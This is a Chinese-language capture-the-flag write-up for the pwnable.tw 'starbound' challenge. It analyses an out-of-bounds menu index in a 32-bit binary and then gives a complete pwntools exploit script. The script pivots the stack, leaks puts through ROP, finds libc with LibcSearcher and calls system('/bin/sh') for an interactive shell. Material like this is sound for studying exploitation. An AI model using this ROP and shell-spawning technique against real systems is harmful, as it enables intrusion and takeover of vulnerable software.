Contents
  1. 1. 分析
    1. 1.1. checksec
    2. 1.2. ida
  2. 2. exp

分析

checksec

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
FORTIFY: Enabled

程序运行显示找不到 libcrypto1.0.0,运行下列即可

1
$ sudo apt-get install libssl1.0.0:i386

ida

程序流程多,但是漏洞很明显,数组下标可以越界执行

strtol函数会将参数nptr字符串根据参数base来转换成长整型数,参数base范围从2至36。

long int strtol(const char nptr,char *endptr,int base);

  • 如果字符串中的整数值超出long int的表示范围(上溢或下溢),则strtol返回它所能表示的最大(或最小)整数,并设置errno为ERANGE,例如strtol(“0XDEADbeef~~”, NULL, 16)返回0x7fffffff并设置errno为ERANGE

刚好,在setting中设置name,可以设置下标-33指向name,执行我们在name中写入的东东。同时,虽然他会过滤我们输入的数字之后的内容,但是这后面的内容还是会被写入内存,可以用作后续的gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.bss:080580D0 bss_name        db    ? ;               ; DATA XREF: do_afk+3↑o
.bss:080580D0 ; init+1A8↑o ...
......
.bss:0805814F db ? ;
.bss:08058150 dword_8058150 dd ? ; DATA XREF: cmd_view+4F↑r
.bss:08058150 ; init_map+A8↑w ...
.bss:08058154 ; int bss_choice[]
.bss:08058154 bss_choice dd ? ; DATA XREF: show_main_menu:loc_8048DEF↑w
.bss:08058154 ; show_multiplayer_menu:loc_8048EBE↑w ...
.bss:08058158 dword_8058158 dd ? ; DATA XREF: show_main_menu+9D↑w
.bss:08058158 ; show_multiplayer_menu+85↑w ...
.bss:0805815C dword_805815C dd ? ; DATA XREF: show_main_menu+A7↑w
.bss:0805815C ; show_multiplayer_menu+8F↑w ...
.bss:08058160 dword_8058160 dd ? ; DATA XREF: show_main_menu+B1↑w
.bss:08058160 ; show_multiplayer_menu+99↑w ...
.bss:08058164 dword_8058164 dd ? ; DATA XREF: show_main_menu+BB↑w
.bss:08058164 ; show_multiplayer_menu+A3↑w ...
.bss:08058168 dword_8058168 dd ? ; DATA XREF: show_main_menu+C5↑w
.bss:08058168 ; show_multiplayer_menu+AD↑w
.bss:0805816C dword_805816C dd ? ; DATA XREF: show_main_menu+CF↑w
.bss:08058170 dword_8058170 dd ? ; DATA XREF: show_main_menu+D9↑w

题目没有给libc,还需要布置栈,泄露出函数地址,然后DynELF或者libc_database或者LibcSearcher找libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!usr/bin/python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

binary = "./starbound"
ip = "chall.pwnable.tw"
port = 10202
elf = ELF(binary)

main = 0x804A61B
bss = 0x8058100
add_esp = 0x08048e48 # add esp, 0x1c ; ret
pop_ebp = 0x080491bc
p3_ret = 0x080494da # # pop ebx, pop esi, pop edi, ret
leave_ret = 0x08048c58
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']

def menu(choice):
io.sendlineafter("> ", str(choice))

def set_name(name):
menu(6) # setting
menu(2) # name
io.sendline(name)
menu(1) # back
'''
def leak(addr):
payload = ""
payload += p32(write_plt)
payload += p32(0x080494da) # pop ebx ; pop esi ; pop edi ; ret
payload += p32(1)
payload += p32(addr)
payload += p32(4)
io.sendafter("name: ", payload)
menu(-33)
data = io.recv()
return data
'''
def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = elf.libc
else:
io = remote(ip, port)
libc = 0

set_name(p32(add_esp))
menu("-33"+"aaaaa"+p32(main))
# gdb.attach(io)
payload = "8aaaaaaa"
payload += p32(puts_plt) + p32(pop_ebp) + p32(puts_got)
payload += p32(read_plt) + p32(p3_ret) + p32(0) + p32(bss) + p32(4*6+1)
payload += p32(pop_ebp) + p32(bss-4) + p32(leave_ret)
menu(payload)
libc_puts = u32(io.recv(4))
success("libc_puts = "+hex(libc_puts))

# libc6-i386_2.21-0ubuntu4_amd64 / libc6_2.23-0ubuntu11.2_i386
libc = LibcSearcher("puts", libc_puts)
libc_base = libc_puts - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
'''
libc_base = libc_puts - libc.sym['puts']
sys_addr = libc_base + libc.symbols['system']
'''
success("libc_base = "+hex(libc_base))
success("sys_addr = "+hex(sys_addr))

payload = p32(sys_addr) + p32(0xdeadbeef) + p32(bss+4*4) + "4aaa" + "/bin/sh\x00"
io.sendline(payload)

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)

这脚本不开debug还跑不成了…这是什么道理啊❓